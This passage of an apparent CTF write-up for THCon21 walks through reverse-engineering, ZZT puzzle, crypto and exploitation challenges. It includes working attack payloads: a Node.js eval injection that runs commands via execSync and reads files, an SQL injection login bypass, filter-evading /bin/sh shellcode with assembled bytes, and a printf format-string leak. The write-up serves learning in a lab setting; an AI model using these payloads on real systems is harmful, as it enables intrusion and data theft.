I got the flag via a command cat flag.txt.

THCon21{4Ll_0f_Th47_t0_c0ntR0L-RDx?!??}

reverse

ELF x64 - Right on Time

An ELF file was given.
I disassembled that via objdump from TDM-GCC and examined the result, finding that the main function does the following:

  1. Put some data on the stack in a random order via movb instruction.
  2. Obtain the currant time via the function time and invert (bitwise NOT) the lower 32 bits.
  3. Convert the first command-line argument to an integer via the atoi function.
  4. If the result and 2 and 3 are the same, print some string as "the flag".

I obtained the data put via the movb instructions from the disassembling result.
It consisted of these three data, delimited by a 0x00 byte:

4B5A4357515244434749324853544B594F524C45344D44514A424B455157535A4D455957593654424746424559544B454D524B5536524C504F354957595753454C4959575936535A4B354A464B57544B4C4532564533525148553D3D3D3D3D3D
n*ICE-4uRVZ}}6TuqY&x-i+h%*Z8_@B`OhEy=T3|PeQ.Hmo>v)CuI/gkSx|%m7Xzz5eBPpkk5wU4nvMZdM(LS>nl_cIINw5Hdpsv;MU$+ktdCam{D1k>*lnZZ$qe:x`]>6M-St(r)@|M}j{$f6t>443O(/b{0I?-A9PqMm$eU!Z[-Bx$V@65QIaeTuD)cX1CX>gZG@<4`-3^!taoob:+W. 9H
6

A program to obtain the data
parse.pl
#!/usr/bin/perl

use strict;
use warnings;

my @data = ();

while (my $line = <STDIN>) {
    if ($line =~ /movb +\$(0x[0-9a-fA-F]+),-(0x[0-9a-fA-F]+)\(\%rbp\)/) {
        push(@data, "$2\t$1");
    }
}

my @data_s = sort {
    my ($a1, $a2) = split(/\t/, $a);
    my ($b1, $b2) = split(/\t/, $b);
    return hex($b1) <=> hex($a1);
} @data;

my @ress = ();
my $res = "";

for (my $i = 0; $i < @data_s; $i++) {
    print "$data_s[$i]\n";
    my ($pos, $value) = split(/\t/, $data_s[$i]);
    my $ivalue = hex($value);
    if ($ivalue == 0) {
        push(@ress, $res);
        $res = "";
    } else {
        $res .= chr($ivalue);
    }
}

push(@ress, $res);

for (my $i = 0; $i < @ress; $i++) {
    print "$ress[$i]\n";
}

The string that begins with 4B5A was printed as "the flag".
I applied "From Hex" and "Magic" on CyberChef to the string and got the flag.

The Recipe displayed for Magic was:

From_Base32('A-Z2-7=',false)
From_Base64('A-Za-z0-9+/=',true)
THCon21{U7JGLvXkYskPK07T8J0BVCgYsadTf69F}

ELF x64 - BaseJumper CrackMe

An ELF file was given.
I disassembled that via objdump from TDM-GCC, seeing many movb instructions that looked similar to ones in the challenge ELF x64 - Right on Time.

I obtained the data in the way I did in the challenge and got these strings:

4B5A4357515244434749324853544B594F524A46474D4B4F4B5252464B564A544B4E4B4751534443495A484553563258474649464F564C494A5A53554B3342534A354C54533453574B5634454D564B46474646464D57425148553D3D3D3D3D3D
@^TfvjUZ/<Br2N[a*x#5iPB6wFk7=^#>[^zQ.:L($#2gZ{@#}8L4sT!QmZ@Zoz3v!;^3,B9M@Mg.:. y0$-utkB4kL^js;TB(XAf%g[j YMF}=nh0=0zbex <o]y9lr;|fSlk`G?:Wx^B,YRz+rv]23kq8Qro>[5GXMQL?9U}3B% W1-;=^~&nhHg,i;<XDM5:~odeLj@~o*OA{OW})1gu
K

I applied "From Hex" and "Magic" on CyberChef to the string just as I did for the challenge, and I got the flag.

THCon21{QKSSmE7I8GlSHYmOYHMxIv9okULEPMIU}

TUR-ROX-Z

A file THCON21Z.ZZT was given.

I launched the game like I did in the challenge TUR-ROX-Y, and this screen was presented:
The initial screen
The right white person told me that there is an integrated level editor.
The upper yellow person told me that the whole universe will be rolled back if I fail to find the flag.

Going up, this screen was presented:
The screen for up
Going left, this screen was presented:
The screen for left
Going left further, this screen was presented:
The screen for further left

Now it looked like I should solve the puzzle in the upper screen.
Then, I thought about the information that there is an integrated level editor, and that a reference for the language is introduced.
Jumping to the conclusion, it was helpful to solve the puzzle to open the upper screen in the editor, watching the settings and modifying the screen.

The ? in the center of screen can be made accessible by erasing the yellow walls around them.
This enables us to watch the status.
The editor revealed that there are some hidden walls and an object in the black rectangle surrounded by the red walls in the right, so I modified them so that I can see them.
Also I read the programs assigned to the !, upside-down !s, and the face on the left.

In the blue part, pushing the upside-down ! in the left increments the number of Gem by one.
First push of the upside-down ! in the right decreases the number of Gem by 4, and it becomes to the successful state when the number of Gem is zero on the second push.
This means I should push the left one 4 times, and then push the right one 2 times.

In the red part, pushing the upside-down ! in the left moves the object in the rectangle in the right up by one unit, and pushing one in the right moves that right by one unit.
Using them, moving the object to the end will lead to the successful state.
In other words, I should push the left one 2 times, the right one 4 times, the left one 2 times, and the right one 2 times.

In the green part, I requested to read and understand the program, referring to the reference.
Pushing the upside-down ! in the left has it execute #zap Checker12:lblMulti.
Pushing the upside-down ! in the right has it execute #restore Checker12:lblMulti.
Pushing the face in the left has it send lblMulti to Checker12.
Checker12 is the upper !, and the following program is assigned to that:

The program for Checker12
@Checker12
#end

:lblMulti
#set flagOkA1
#zap lblMulti
#send lblMulti
' "set OK A1"
#end

:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
:lblMulti
#set flagFailA
' "pwnz 2 zzzz
#send GlobCheck:lblBack12
#end

:lblMulti
#set flagOkA2
' "gg  !"
#send GlobCheck:lblBack12
#end

:lblMulti
:lblMulti
#set flagFailA
' "pwnz last"
#send GlobCheck:lblBack12
#end

The reference tells me that #zap will disable one label (a line that begins with :) by turning it into a comment, and that #restore will have one disabled label revive.

As a conclusion, it executed both of #set flagOkA1 and #set flagOkA2, turning it to the successful state by doing the following:

  1. Expose :lblMulti before #set flagOkA2 by pushing the upside-down ! in the left 7 times.
  2. Push the upside-down ! in the right once and recover the first :lblMulti.
  3. Drive the other part to a proper status and press the face in the left.

Finally, the goal was the following status.
The flag was obtained by combining the information in the first screen and positions of each upside-down !s.

The goal

THCon21{Z824753}

TUR-ROX-Y

A file THCON21Y.ZZT was given.

Firstly I googled "zzt" and found that it is a game for MS-DOS.

ZZT - Wikipedia
It was available in:
The game: GitHub - asiekierka/reconstruction-of-zzt: The Reconstruction of ZZT
An emulator to run the game: zeta
We can launch the game after putting the files for the game and the file from the challenge in the directory where zeta is extracted to.

Launching the game, this screen was presented:
The initial screen
Going right, this screen was presented:
The screen for right
Going up, this screen was presented. The screen was destructed after a while.
The screen for up
Going down, this screen was presented. The information about hash was destructed after a while.
The screen for left
Going left from here, there were 26 pages of code like this:
A screen with a part of code
I managed to copy the code (PuzzleScript) by seeing and typing.

Considering the information in the down screen, I opened
PuzzleScript - an open-source HTML5 puzzle game engine
and pressed "Make A game". Then I pasted the code to the left part of the page and pressed "RUN" in the upper part.
It launched another game.
In this game, toggling the eight switches changed the five pictures.
The goal was making all the five pictures purple by setting the switches to the right state.
I managed to solve the first level by manual trial-and-error, but the second level looked tough.
Seeing this, I created a program with Hot Soup Processor to automate the operation of the keyboard and to brute-force the switches.
I used the Gray code, using which we can proceed to the next state by toggling only one bit, to save the cost of toggling.

The program for brute-forcing (automating the operation)

Launch this program after moving the player character under the rightmost switch,
and set up to have the key operation routed to the game in 3 seconds, to use this program.

bruteforce.hsp
#include "hspext.as"

gsel 0, 2

mes "start after 3 sec."
wait 300

aplfocus

KEY_LEFT = 37
KEY_UP = 38
KEY_RIGHT = 39

x = 7
value = 0

for i, 0, 256, 1
    target = i ^ (i >> 1)
    for j, 0, 8, 1
        if (((target ^ value) >> (7 - j)) & 1) != 0 {
            while x > j
                aplkey KEY_LEFT
                x = x - 1
                wait 1
            wend
            while x < j
                aplkey KEY_RIGHT
                x = x + 1
                wait 1
            wend
            aplkey KEY_UP
            wait 1
        }
    next
    value = target
    title strf("%3d", i) + " / " + strf("%02X", target)
    wait 50
next

This game had three levels. The goal of each levels were:

1st level 2nd level 3rd level
1st level 2nd level 3rd level

I obtained the flag by combining information corrected like this, following instructions from the games:

  • The initial screen: THCon21{Y...}
  • The two digits of the SHA-256 hash value of the PuzzleScript (LF for newlines, no newline at the end): THCon21{-95----}
  • What was presented when the 2nd level was solved: THCon21{---E5--}
  • What was presented when the 3rd level was solved: THCon21{-----CD}
THCon21{Y95E5CD}

Windows

Unfortunately I could solve no problems in this category.

steganography

Unfortunately I could solve no problems in this category.

web

Unsafe Math

An URL for a web page and a server program index.js for that page were given.
The page had input fields for width and height (type="number") and a "Submit" button.
The program index.js checks if both of width.length and height.length are not more than 10 and return the evaluation result of eval('(' + width + '**2 + ' + height + '**2) ** (1/2);') when some data is sent via POST.

As I learned from "GETS Request" in San Diego CTF 2021, the length property can be set to 1 by passing arrays and the check can be bypassed.

Using the execSync function, we can execute commands and retrieve their results.

I did some investigation using this for executing commands.
Firstly, using the developer tools in Firefox, I changed

<input name="width" type="number" min="0">

to

<input name="width[]" type="text" min="0">

I succeed to obtain the result of ls / by putting

require('child_process').execSync("ls /")).toString() + (1

to the field and 1 to the height field and pressing the "Submit" button.
1 is put to the height field in the following queries.

As the result contained chall, I put

require('child_process').execSync("ls /chall")).toString() + (1

to the width[] field and pressed the "Submit" button, obtaining the result of ls /chall.

Seeing sec9et_fl46.txtin the result, I put

require('fs').readFileSync("/chall/sec9et_fl46.txt", "utf-8")).toString() + (1

to the width[] field and sent that to read the file and to obtain the flag.
This is used for file reading: File system | Node.js v16.3.0 Documentation

THCon21{t34cHiN6_1s_N0t_sO_3@sY}

app script

Unfortunately I could solve no problems in this category.

programmation

Living QR Code

A file living_QR.gif was given. It was an animated GIF.

I opened that with Giam (Japanese page and software), finding that there are 41 frames and each of them had one QR Code.
I read them via Psytec QR Code Editor (Japanese page and software) to read them one-by-one manually and lined up the results, obtaining the flag.

THCon21{Ba5ukumqmZIVJ2onznXkfY61YS7Cxdi6}

"QR Code" is a registered trademark of DENSO WAVE INCORPORATED.

Intro

Welcome

An invitation link for Discord was given.
I joined to the server via my Web browser and searched for the flag.
I found the flag on the upper part of the screen and after the "This is the start" message in the channels #📄-règles and #📄-rules.
The flag was displayed in a copy-able way after clicking the upper part.

THCon21{H31l0_th3re!}

SQL for dummies

An URL for a web page was given.
The page had a form consists of:

  • A field for Username
  • A field for Password
  • A "Log In" button

The flag was displayed after hitting the "Log In" button, entering ' or 1=1 -- as the Username and a as the Password.

THCon21{eA3y*QL_1nject0R}

My first one time pad

The following files plaintext.txt and encrypted.txt were given.

plaintext.txt
I encrypted a secret flag with one time pad, the result here: 092224674e49392d631f0f5611124274193157441a2e5c2d494e1c1c2d560b204751
encrypted.txt
064e004e171b141554150544414900450a1c4500480303131e00070c060e450c1a49003d491e0d4f050d000c48151e000007161655181c45480e171c1a4f

The challenge description said:

I encrypt my flag with a secret key, unfortunately I also encrypted the whole file with the same key could you retrieve the flag ?

Encryption in one-time pad should be an exclusive-or of the plain-text and the key, so we can obtain the key by calculating the exclusive-or of the cipher-text and the plain-text.

I obtained the flag via CyberChef.
I put the contents of plaintext.txt as the Input and performed:

  1. XOR using the contents of encrypted.txt as the Key (HEX)
  2. XOR using the contents after the result here: in the plaintext.txt as the Key (HEX)
THCon21{1Tp_w0rK3_0nly_0nC3}

Blacklisted

Information for connecting to a TCP server and an ELF file running there were given.
I disassembled the ELF file via objdump from TDM-GCC and read that, finding that it is performing the following:

  1. Print some message
  2. Read some input via the read function
  3. Copy what it read via the strncpy function
  4. Test the copy of what it read via check_blacklist function
  5. If it passes the test, execute the copy of what is read via the callq instruction

Also, I found these strings by viewing the ELF file in a binary editor:

/bin/
/tmp/
flag.txt
sh
[-] Error while allocating shellcode area
Please feed me (%d bytes max): 
[-] Error while reading input.

This suggested me that I should enter a shell-code and that input that contains one of /bin/, /tmp/, flag.txt, or sh will be rejected.
Also it is worth noting that input that contain a 0x00 byte will be truncated because the strncpy function is used.

Considering these, I obtained an access to the shell by assembling the following shellcode via NASM and sending that via Send File (Paste content of file) (Binary) on Tera Term.
After that, I obtained the flag by executing a command cat flag.txt.

The shell-code
shellcode.asm
bits 64
mov rax, 0x2F62696E2F736820 ; /bin/sh
sub rax, 0x20
bswap rax
push rax
mov al, 59
movzx eax, al
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall

Assembled:

48 b8 20 68 73 2f 6e 69 62 2f 48 83 e8 20 48 0f
c8 50 b0 3b 0f b6 c0 48 89 e7 31 f6 31 d2 0f 05

THCon21{w3ll_s0_y0u_sp34K_P4r53l70ngu3??}

Clairvoyance

Information for connecting to a TCP server and an ELF file running there were given.
I disassembled the ELF file via objdump from TDM-GCC and read that, finding that it is performing the following:

  1. Call the read_flag function and load the contents of the file flag.txt to the memory at 0x404080
  2. Call the fgets function to read at most 0x1f bytes on the stack
  3. Call the fgets function to read at most 0x7 bytes on the stack
  4. Pass what is read in 2 as the 1st argument of the printf function if what is read in 3 is yes

Putting this

%p%p%p%p%p%p%p%p%p%p%p%p%p%p

for the 2nd step, I got the following output (newlines are added for readability):

0x7fff68c0a370
0x7fc2287088c0
(nil)
0x1f
0x7fc2287088d0
0x7fff68c0cb38
0x100401365
0x7fc22871cb40
0xa736579
0x7025702570257025
0x7025702570257025
0x7025702570257025
0xa70257025
0x401320

Note that what is entered is printed from the 10th output.
What is entered is placed on the stack and it overlaps with where the printf function reads what to print from.

Keeping in mind that the printing ends at a 0x00 byte because the 1st argument of the printf is a string, I sent this via TCP/IPテストツール (Japanese page and software) and obtained the flag:

%11$s###<80><40><40><00><00><00><00><00><LF>

(<xx> means a byte with the hexadecimal value and <LF> means a byte 0x0A)

THCon21{y0u_jUsT__n33d_t0_0p3n_Y0uR_3y35!}
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Sign upLogin
0
Help us understand the problem. What are the problem?